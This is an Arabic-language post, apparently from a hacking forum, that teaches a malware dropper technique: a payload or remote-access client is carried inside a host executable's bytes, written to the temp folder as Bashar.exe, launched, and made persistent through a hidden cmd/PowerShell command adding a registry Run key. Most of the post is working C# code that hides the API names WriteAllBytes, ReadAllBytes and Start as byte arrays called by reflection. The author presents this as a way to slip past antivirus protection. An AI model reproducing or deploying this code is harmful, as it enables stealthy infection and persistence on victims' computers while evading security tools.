02.12.2017 الاستغناء عن الريسورس-امبيديد ريسورس-التحميل من النت-تضمين البايت اراي باي شكل بالسورس


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,868
3,983
1
حياكم الله ياشباب
نزلت موضوعي هون
[MixedAssemblyLoader] [Run Tow Assmblies Under One Process]
وحقيقة هوة بيحوي على فكرة مهمة جدا
واللي هيه انه ان عندنا بايلود او كلاينت او اي ملف نريد اننا ننسخه لمسار ما
فهالملف هالبايت اراي هذه كيف رح نضمنها بمشروعنا
الحلول هيه اللي كانت متبعه كالتالي
ريسورس .. امبيديد ريسروس ..التحميل من النت
تضمين الملف ك بايت اراي بالسورس او باي شكل كان سترينج او غيره ..
او وضع الملف المراد نسخه بامتداد واسم مش بينشك فيه مثل dll,rar
والطرق السابقة جميعها لها مشاكلها المعروفة
سواءا مع الحمايات او عند الاستخدام او ك فحص ..
لهيك قلت لماذا لايتم حقن بايتات الكلاينت او البايلود او اي ملف شئت
بالسورس الاصلي ومن ثم عمل كتابة للبايتات هذه للمسار المراد
اي سيتم انتقاء الاوفستات المستهدفة ونسخها هي فقط للمجلد المراد
هنا عملت لكم شرح توضيحي صورة عن الفكرة
وبالفديو اشبعت الطريقة شرحا
اتطلع بالصورة شوي وحاول تفهم



طبعا انا مانسيت لكم التثبيت
رح نقدر ننسخ الملف الخاص بنا سواءا اكان بايلود او كلاينت او ايا كان
لاي مجلد نريده "بدون اي حركة من الحمايات"
بدون تواجد هذا الملف باي شكل من الاشكال بالسورس
يعني لغينا شي اسمه ريسورس او تحميل من النت
او تضمين الملف باي شكل من الاشكال ..
وكمان رح نثبت الملف هذا سواءا اكان بايلود او كلاينت ..الخ
ببدء التشغيل وكمان الحمايات نايمة ..شوف الفديوهات السابقة بتتاكد
الاكواد من هنا
C#:
typeof(File).GetMethod(BS(Windows()),
new[] { typeof(string), typeof(byte[]) })?.Invoke(null,
new object[] { Path.GetTempPath() + "Bashar.exe", Hh2((byte[])typeof(File).GetMethod(BS(Microsoft()), new[] { typeof(string) })?.Invoke(null, new object[] { Application.ExecutablePath })) });
نسخ بايتات الملف المستهدفة لملجد التيمب باسم Basahr.exe
يمكننا نسخ اي عدد نريده مش شرط بس كلاينت واحد او بايلود واحد
وبامكاننا تثبيت الكل بدو استثاء ببدء التشغيل او بالمهام المجدولة
C#:
typeof(System.Diagnostics.Process)
                      .GetMethod(BS(Process()), new[] {typeof(string)})?.Invoke(
                          null, new object[]
                              {Path.GetTempPath() + "Bashar.exe"});
تشغيل الكلاينت من مجلد التمب
C#:
var startInfo = new System.Diagnostics.ProcessStartInfo
                    {
                        FileName = @"C:\Windows\system32\cmd.exe",
                        Arguments = $"/k {"powershell REG ADD \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /f /v EnableLUA /t REG_SZ /d" + " " + Path.GetTempPath() + "Bashar.exe"}",
                        WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
                    };
                    var myProcess = GetMyProcess(startInfo);
                    myProcess.Start();
تشغيل موجه الاوامر بخفاء وتحريضه على تشغيل الباور شيل
وتمرير امر تسجيل قيمة جديدة بالريجيستري ببدء التشغيل
للملف الموجود بمجلد التمب "الكلاينت"
C#:
static byte[] Hh2(byte[] bb)
     {
         var test2 = new byte[16896];
         Array.Copy(bb, 7168, test2, 0, test2.Length);
         return test2;
     }
     private static byte[] Microsoft()
     {
         byte[] microsoft = {
             0x52, 0x65, 0x61, 0x64, 0x41, 0x6C, 0x6C, 0x42, 0x79, 0x74, 0x65, 0x73
         };
         return microsoft;
     }
 
     private static System.Diagnostics.Process GetMyProcess(System.Diagnostics.ProcessStartInfo startInfo)
     {
         return new System.Diagnostics.Process { StartInfo = startInfo };
     }
 
     private static string BS(byte[] b)
     {
         return Encoding.ASCII.GetString(b);
     }
 
     private static byte[] Process()
     {
 
         byte[] process = {
             0x53, 0x74, 0x61, 0x72, 0x74
         };
         return process;
     }
     private static byte[] Windows()
     {
         byte[] windows = {
             0x57, 0x72, 0x69, 0x74, 0x65, 0x41, 0x6C, 0x6C, 0x42, 0x79, 0x74, 0x65,
             0x73
         };
         return windows;
     }
الفانكشنات هذه تحمل اسماء
WriteAllBytes,ReadAllBytes,Start
يتم جلب الستريج منهم عن طريق الفانكشن BS
الطريقة مش بس عشان نسخ الكلاينت او البايلود
وتثبيتهم وعدم تضمينهم بالسورس
لاتستطيع انك تفك التشفير بنفس الطريقة ايضا
بتحقن بايتات السيرفر المشفرة بالملف الاصلي
وبتم فك تشفيرها وقراءتها بالذاكرة
لتحميل البروجيكت والفديو من المرفقات
 

المرفقات